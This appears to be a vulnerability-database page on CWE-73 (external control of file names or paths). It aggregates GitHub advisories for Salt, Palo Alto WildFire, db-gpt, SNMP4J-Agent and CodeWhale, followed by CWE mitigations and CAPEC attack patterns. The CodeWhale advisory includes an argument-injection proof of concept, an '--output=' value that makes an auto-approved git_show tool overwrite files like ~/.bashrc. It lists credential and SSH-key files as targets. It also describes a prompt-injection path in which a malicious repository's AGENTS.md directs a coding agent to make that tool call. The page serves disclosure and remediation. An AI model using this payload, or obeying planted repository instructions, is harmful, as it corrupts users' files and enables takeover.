      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-173-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7F3F-X5F5-79GW

Vulnerability from github – Published: 2025-06-13 09:30 – Updated: 2025-06-17 20:00

Summary

Salt's file contents overwrite the VirtKey class

Details

File contents overwrite the VirtKey class is called when “on-demand pillar” data is requested and uses un-validated input to create paths to the “pki directory”. The functionality is used to auto-accept Minion authentication keys based on a pre-placed “authorization file” at a specific location and is present in the default configuration.

Severity

5.6 (Medium)


                  
                    CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "salt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3007.0rc1"
            },
            {
              "fixed": "3007.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "salt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3006.0rc1"
            },
            {
              "fixed": "3006.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-22241"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-13T21:57:13Z",
    "nvd_published_at": "2025-06-13T07:15:21Z",
    "severity": "MODERATE"
  },
  "details": "File contents overwrite the VirtKey class is called when \u201con-demand pillar\u201d data is requested and uses un-validated input to create paths to the \u201cpki directory\u201d. The functionality is used to auto-accept Minion authentication keys based on a pre-placed \u201cauthorization file\u201d at a specific location and is present in the default configuration.",
  "id": "GHSA-7f3f-x5f5-79gw",
  "modified": "2025-06-17T20:00:42Z",
  "published": "2025-06-13T09:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22241"
    },
    {
      "type": "WEB",
      "url": "https://github.com/saltstack/salt/commit/9445f496fed61b15dc4364818007e5b765b0746f"
    },
    {
      "type": "WEB",
      "url": "https://docs.saltproject.io/en/3006/topics/releases/3006.12.html"
    },
    {
      "type": "WEB",
      "url": "https://docs.saltproject.io/en/3007/topics/releases/3007.4.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/saltstack/salt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Salt\u0027s file contents overwrite the VirtKey class"
}

GHSA-7G39-PMPC-X999

Vulnerability from github – Published: 2026-05-13 21:32 – Updated: 2026-07-14 18:31

Details

An arbitrary File Read and Delete Vulnerability in Palo Alto Networks WildFire® WF-500 and WF-500-B appliances enables users to read sensitive information and delete arbitrary files. This vulnerability affects WF-500 and WF-500-B appliances running in the default non-FIPS configuration mode.

The WildFire Appliance (WF-500, WF-500-B) software update is now available to customers that use the WildFire Appliance (WF-500, WF-500-B) for on-premise sandboxing.

Please note that customers using the WildFire Public cloud service are NOT impacted by this vulnerability.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

5.0 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/AU:Y/R:U/V:C/RE:M/U:Amber

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{
  "affected": [],
  "aliases": [
    "CVE-2026-0259"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-13T19:17:01Z",
    "severity": "MODERATE"
  },
  "details": "An arbitrary File Read and Delete Vulnerability in Palo Alto Networks WildFire\u00ae WF-500 and WF-500-B appliances enables users to read sensitive information and delete arbitrary files. This vulnerability affects WF-500 and WF-500-B appliances running in the default non-FIPS configuration mode.\n\n\n\nThe WildFire Appliance (WF-500, WF-500-B) software update is now available to customers that use the WildFire Appliance (WF-500, WF-500-B) for on-premise sandboxing.\n\n\n\nPlease note that customers using the WildFire Public cloud service are NOT impacted by this vulnerability.",
  "id": "GHSA-7g39-pmpc-x999",
  "modified": "2026-07-14T18:31:46Z",
  "published": "2026-05-13T21:32:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0259"
    },
    {
      "type": "WEB",
      "url": "https://security.paloaltonetworks.com/CVE-2026-0259"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:C/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7H46-XXGG-F9Q8

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32

Details

eosphoros-ai/db-gpt version 0.6.0 contains a vulnerability in the RAG-knowledge endpoint that allows for arbitrary file write. The issue arises from the ability to pass an absolute path to a call to os.path.join, enabling an attacker to write files to arbitrary locations on the target server. This vulnerability can be exploited by setting the doc_file.filename to an absolute path, which can lead to overwriting system files or creating new SSH-key entries.

Severity

9.1 (Critical)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2024-10834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-20T10:15:20Z",
    "severity": "CRITICAL"
  },
  "details": "eosphoros-ai/db-gpt version 0.6.0 contains a vulnerability in the RAG-knowledge endpoint that allows for arbitrary file write. The issue arises from the ability to pass an absolute path to a call to `os.path.join`, enabling an attacker to write files to arbitrary locations on the target server. This vulnerability can be exploited by setting the `doc_file.filename` to an absolute path, which can lead to overwriting system files or creating new SSH-key entries.",
  "id": "GHSA-7h46-xxgg-f9q8",
  "modified": "2025-03-20T12:32:40Z",
  "published": "2025-03-20T12:32:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10834"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/0d598508-151a-4050-9ccd-31bb82955e7a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7H7J-7VWP-CWFG

Vulnerability from github – Published: 2026-06-15 21:30 – Updated: 2026-08-26 14:53

Summary

SNMP4J-Agent allows a remote attacker to execute arbitrary code via the snmp4jCfgStoragePath component

Details

An issue in SNMP4J-Agent 3.8.3 allows a remote attacker to execute arbitrary code via the snmp4jCfgStoragePath component.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.snmp4j:snmp4j-agent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39006"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-26T14:53:01Z",
    "nvd_published_at": "2026-06-15T20:16:27Z",
    "severity": "CRITICAL"
  },
  "details": "An issue in SNMP4J-Agent 3.8.3 allows a remote attacker to execute arbitrary code via the snmp4jCfgStoragePath component.",
  "id": "GHSA-7h7j-7vwp-cwfg",
  "modified": "2026-08-26T14:53:01Z",
  "published": "2026-06-15T21:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39006"
    },
    {
      "type": "WEB",
      "url": "https://github.com/EaEa0001/security-advisories/blob/main/CVE-2026-39006.md"
    },
    {
      "type": "PACKAGE",
      "url": "scm:git:git@nmp.app:snmp4j-agent.git"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SNMP4J-Agent allows a remote attacker to execute arbitrary code via the snmp4jCfgStoragePath component"
}

GHSA-7J5W-7R7X-9V27

Vulnerability from github – Published: 2026-09-04 18:02 – Updated: 2026-09-04 18:02

Summary

CodeWhale: Argument Injection in `git_show` Tool Allows Arbitrary File Write Without Approval

Details

Maintainer resolution

The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 9a34b5034d29f05d1f28fa61b04719ca6a741020. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.

Argument Injection in `git_show` Tool Allows Arbitrary File Write Without Approval

Overview

The git_show tool in DeepSeek-TUI executes git show with the model-supplied rev parameter passed unvalidated into the argv. git show honours the --output=<path> option, so a rev value beginning with --output= is interpreted as a flag rather than a revision. The tool is registered with ApprovalRequirement::Auto and declares ToolCapability::ReadOnly, so the write happens without a user prompt and contradicts the capability the catalog advertises to the model and the user.

This is the same vulnerability class as GHSA-72w5-pf8h-xfp4 (CVE-2026-45374): an auto-approved tool produces an effect outside the boundary the user consented to.

Impact

A malicious repository combined with prompt injection, the threat model already documented in CVE-2026-45311 (auto-loaded AGENTS.md is treated as instructions by the model) yields an unprompted arbitrary file write at the privilege of the user running DeepSeek-TUI.

Useful targets reachable as the invoking user:

~/.ssh/authorized_keys
~/.bashrc, ~/.zshrc, ~/.profile
~/.gitconfig (chainable into RCE via core.editor)
~/.config/**, ~/.aws/credentials, project source files

The written content is the git show rendering of HEAD commit hash, author/date header, indented commit message, and (when patch=true) diff hunks. The commit subject, body, author identity, and diff text are entirely attacker-controlled because the attacker owns the repository HEAD. The leading commit <hash> line prevents clean overwrite of formats that reject unknown tokens, but is silently ignorable in files parsed as comments-or-text (crontab, dotfiles consumed by tolerant readers) and is irrelevant for the destructive/DoS sub-case (clobbering ~/.ssh/authorized_keys locks the user out; clobbering a project file corrupts source).

Technical Details

Root Cause

crates/tui/src/tools/git_history.rs:

// L196-198
fn approval_requirement(&self) -> ApprovalRequirement {
    ApprovalRequirement::Auto
}

// L204-228 (excerpt)
async fn execute(&self, input: Value, context: &ToolContext) -> Result<ToolResult, ToolError> {
    let rev = required_str(&input, "rev")?;
    ...
    let mut args = vec![
        "show".to_string(),
        "--no-color".to_string(),
        "--no-ext-diff".to_string(),
    ];
    if patch { args.push(format!("--unified={unified}")); }
    else     { args.push("--no-patch".to_string()); }
    if stat  { args.push("--stat".to_string()); }
    args.push(rev.to_string());        // unvalidated, no `--end-of-options` sentinel
    ...
}

The JSON schema for rev is {"type": "string"} (L161-164) with no pattern, no enum, and no length cap. required_str performs no semantic validation. The argv has no --end-of-options separator between the trailing options and rev, so git's option parser keeps consuming flags from rev.

The same pattern in git_blame (L322-388) is tracked in a separate advisory.

Why `--output` Works

git show shares its option parser with git log / git diff, which expose --output=<file>. The implementation opens the path with O_WRONLY | O_CREAT | O_TRUNC and writes the formatted output there. No permission check beyond the filesystem's own running as the user is sufficient to clobber anything the user owns.

Proof of Concept

The vulnerable argv assembled by the tool when invoked with {"rev": "--output=/home/victim/.bashrc"} is equivalent to:

git show --no-color --no-ext-diff --no-patch --stat --output=/home/victim/.bashrc

Reproduced against system git as a non-root user:

$ id
uid=1001(lowtest) gid=1001(lowtest) groups=1001(lowtest)

$ cd /tmp/lp && git init -q
$ echo a > a.txt && git add a.txt
$ git -c user.email=a@b -c user.name=a commit -q -m "lol"

$ git show --no-color --no-patch "--output=/home/lowtest/.bashrc_clobbered" HEAD
$ ls -la /home/lowtest/.bashrc_clobbered
-rw-rw-r-- 1 lowtest lowtest 128 May 19 07:05 /home/lowtest/.bashrc_clobbered

End-to-end exploitation path:

Attacker publishes a repository whose AGENTS.md instructs the model to call git_show with rev set to a crafted --output= string targeting a file in the victim's home directory. The same auto-load pathway documented in CVE-2026-45311 applies.
Victim opens the repository in DeepSeek-TUI and issues any prompt that exercises the agent loop.
The model issues the tool call. Because approval_requirement() returns Auto, no approval UI is shown.
git show --output=<path> overwrites the target file with attacker-controlled commit metadata and diff text.

Remediation

Two changes in crates/tui/src/tools/git_history.rs:

Insert an end-of-options sentinel before rev so git stops parsing flags:

rust args.push("--end-of-options".to_string()); args.push(rev.to_string());

Reject rev values that begin with - (or restrict to a revision-shape regex ^[A-Za-z0-9._/^~@:{}-]+$ after the leading character check):

rust if rev.starts_with('-') { return Err(ToolError::invalid_input("rev must not start with '-'")); }

A regression test mirroring run_tests_requires_user_approval (test_runner.rs:197) should assert that rev = "--output=/tmp/x" is rejected.

Severity

9.3 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:H

8.5 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H

Show details on source website

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{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deepseek-tui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.27"
            },
            {
              "last_affected": "0.8.41"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "deepseek-tui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.27"
            },
            {
              "fixed": "0.8.41"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "codewhale-tui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.41"
            },
            {
              "fixed": "0.8.64"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "codewhale"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.41"
            },
            {
              "fixed": "0.8.64"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-75913"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73",
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-04T18:02:37Z",
    "nvd_published_at": "2026-08-18T16:18:23Z",
    "severity": "HIGH"
  },
  "details": "### Maintainer resolution\n\nThe CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 9a34b5034d29f05d1f28fa61b04719ca6a741020. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.\n\n# Argument Injection in `git_show` Tool Allows Arbitrary File Write Without Approval\n\n## Overview\n\nThe `git_show` tool in DeepSeek-TUI executes `git show` with the model-supplied `rev` parameter passed unvalidated into the argv. `git show` honours the `--output=\u003cpath\u003e` option, so a `rev` value beginning with `--output=` is interpreted as a flag rather than a revision. The tool is registered with `ApprovalRequirement::Auto` and declares `ToolCapability::ReadOnly`, so the write happens without a user prompt and contradicts the capability the catalog advertises to the model and the user.\n\nThis is the same vulnerability class as GHSA-72w5-pf8h-xfp4 (CVE-2026-45374): an auto-approved tool produces an effect outside the boundary the user consented to.\n\n## Impact\n\nA malicious repository combined with prompt injection, the threat model already documented in CVE-2026-45311 (auto-loaded `AGENTS.md` is treated as instructions by the model) yields an unprompted arbitrary file write at the privilege of the user running DeepSeek-TUI.\n\nUseful targets reachable as the invoking user:\n\n- `~/.ssh/authorized_keys`\n- `~/.bashrc`, `~/.zshrc`, `~/.profile`\n- `~/.gitconfig` (chainable into RCE via `core.editor`)\n- `~/.config/**`, `~/.aws/credentials`, project source files\n\nThe written content is the `git show` rendering of HEAD commit hash, author/date header, indented commit message, and (when `patch=true`) diff hunks. The commit subject, body, author identity, and diff text are entirely attacker-controlled because the attacker owns the repository HEAD. The leading `commit \u003chash\u003e` line prevents clean overwrite of formats that reject unknown tokens, but is silently ignorable in files parsed as comments-or-text (crontab, dotfiles consumed by tolerant readers) and is irrelevant for the destructive/DoS sub-case (clobbering `~/.ssh/authorized_keys` locks the user out; clobbering a project file corrupts source).\n\n## Technical Details\n\n### Root Cause\n\n`crates/tui/src/tools/git_history.rs`:\n\n```rust\n// L196-198\nfn approval_requirement(\u0026self) -\u003e ApprovalRequirement {\n    ApprovalRequirement::Auto\n}\n\n// L204-228 (excerpt)\nasync fn execute(\u0026self, input: Value, context: \u0026ToolContext) -\u003e Result\u003cToolResult, ToolError\u003e {\n    let rev = required_str(\u0026input, \"rev\")?;\n    ...\n    let mut args = vec![\n        \"show\".to_string(),\n        \"--no-color\".to_string(),\n        \"--no-ext-diff\".to_string(),\n    ];\n    if patch { args.push(format!(\"--unified={unified}\")); }\n    else     { args.push(\"--no-patch\".to_string()); }\n    if stat  { args.push(\"--stat\".to_string()); }\n    args.push(rev.to_string());        // unvalidated, no `--end-of-options` sentinel\n    ...\n}\n```\n\nThe JSON schema for `rev` is `{\"type\": \"string\"}` (L161-164) with no `pattern`, no enum, and no length cap. `required_str` performs no semantic validation. The argv has no `--end-of-options` separator between the trailing options and `rev`, so git\u0027s option parser keeps consuming flags from `rev`.\n\nThe same pattern in `git_blame` (L322-388) is tracked in a separate advisory.\n\n### Why `--output` Works\n\n`git show` shares its option parser with `git log` / `git diff`, which expose `--output=\u003cfile\u003e`. The implementation opens the path with `O_WRONLY | O_CREAT | O_TRUNC` and writes the formatted output there. No permission check beyond the filesystem\u0027s own running as the user is sufficient to clobber anything the user owns.\n\n## Proof of Concept\n\nThe vulnerable argv assembled by the tool when invoked with\n`{\"rev\": \"--output=/home/victim/.bashrc\"}` is equivalent to:\n\n```\ngit show --no-color --no-ext-diff --no-patch --stat --output=/home/victim/.bashrc\n```\n\nReproduced against system `git` as a non-root user:\n\n```\n$ id\nuid=1001(lowtest) gid=1001(lowtest) groups=1001(lowtest)\n\n$ cd /tmp/lp \u0026\u0026 git init -q\n$ echo a \u003e a.txt \u0026\u0026 git add a.txt\n$ git -c user.email=a@b -c user.name=a commit -q -m \"lol\"\n\n$ git show --no-color --no-patch \"--output=/home/lowtest/.bashrc_clobbered\" HEAD\n$ ls -la /home/lowtest/.bashrc_clobbered\n-rw-rw-r-- 1 lowtest lowtest 128 May 19 07:05 /home/lowtest/.bashrc_clobbered\n```\n\nEnd-to-end exploitation path:\n\n- Attacker publishes a repository whose `AGENTS.md` instructs the model to call `git_show` with `rev` set to a crafted `--output=` string targeting a file in the victim\u0027s home directory. The same auto-load pathway documented in CVE-2026-45311 applies.\n- Victim opens the repository in DeepSeek-TUI and issues any prompt that exercises the agent loop.\n- The model issues the tool call. Because `approval_requirement()` returns `Auto`, no approval UI is shown.\n- `git show --output=\u003cpath\u003e` overwrites the target file with attacker-controlled commit metadata and diff text.\n\n## Remediation\n\nTwo changes in `crates/tui/src/tools/git_history.rs`:\n\nInsert an end-of-options sentinel before `rev` so git stops parsing flags:\n\n   ```rust\n   args.push(\"--end-of-options\".to_string());\n   args.push(rev.to_string());\n   ```\n\nReject `rev` values that begin with `-` (or restrict to a revision-shape\n   regex `^[A-Za-z0-9._/^~@:{}-]+$` after the leading character check):\n\n   ```rust\n   if rev.starts_with(\u0027-\u0027) {\n       return Err(ToolError::invalid_input(\"rev must not start with \u0027-\u0027\"));\n   }\n   ```\n\nA regression test mirroring `run_tests_requires_user_approval` (`test_runner.rs:197`) should assert that `rev = \"--output=/tmp/x\"` is rejected.",
  "id": "GHSA-7j5w-7r7x-9v27",
  "modified": "2026-09-04T18:02:37Z",
  "published": "2026-09-04T18:02:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Hmbown/CodeWhale/security/advisories/GHSA-7j5w-7r7x-9v27"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75913"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Hmbown/CodeWhale/commit/9a34b5034d29f05d1f28fa61b04719ca6a741020"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Hmbown/CodeWhale"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/codewhale-before-argument-injection-via-git-show"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "CodeWhale: Argument Injection in `git_show` Tool Allows Arbitrary File Write Without Approval"
}

Mitigation

Architecture and Design

When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.

Mitigation

Architecture and Design Operation

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.

Mitigation

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-5.1

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Mitigation

Implementation

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).

Mitigation

Installation Operation

Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

Mitigation

Operation Implementation

If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Mitigation

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

CAPEC-13: Subverting Environment Variable Values

The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.

CAPEC-267: Leverage Alternate Encoding

An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-72: URL Encoding

This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.

CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic

This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.

← Back to the CWE list

CWE-73

External Control of File Name or Path

[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)

Reachability

Root cause

Exploit path

Impact

Preconditions

Evidence

False-positive check (adversarial re-read)

Remediation

Confidence

Proof-of-Concept source (gitpython-003-poc.py)

Maintainer resolution

Argument Injection in git_show Tool Allows Arbitrary File Write Without Approval

Overview

Impact

Technical Details

Root Cause

Why --output Works

Proof of Concept

Remediation

Mitigation

Mitigation

Mitigation

Mitigation MIT-5.1

Mitigation

Mitigation

Mitigation

Mitigation

CAPEC-13: Subverting Environment Variable Values

CAPEC-267: Leverage Alternate Encoding

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

CAPEC-72: URL Encoding

CAPEC-76: Manipulating Web Input to File System Calls

CAPEC-78: Using Escaped Slashes in Alternate Encoding

CAPEC-79: Using Slashes in Alternate Encoding

CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic

[HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`)

Proof-of-Concept source (`gitpython-003-poc.py`)

Argument Injection in `git_show` Tool Allows Arbitrary File Write Without Approval

Why `--output` Works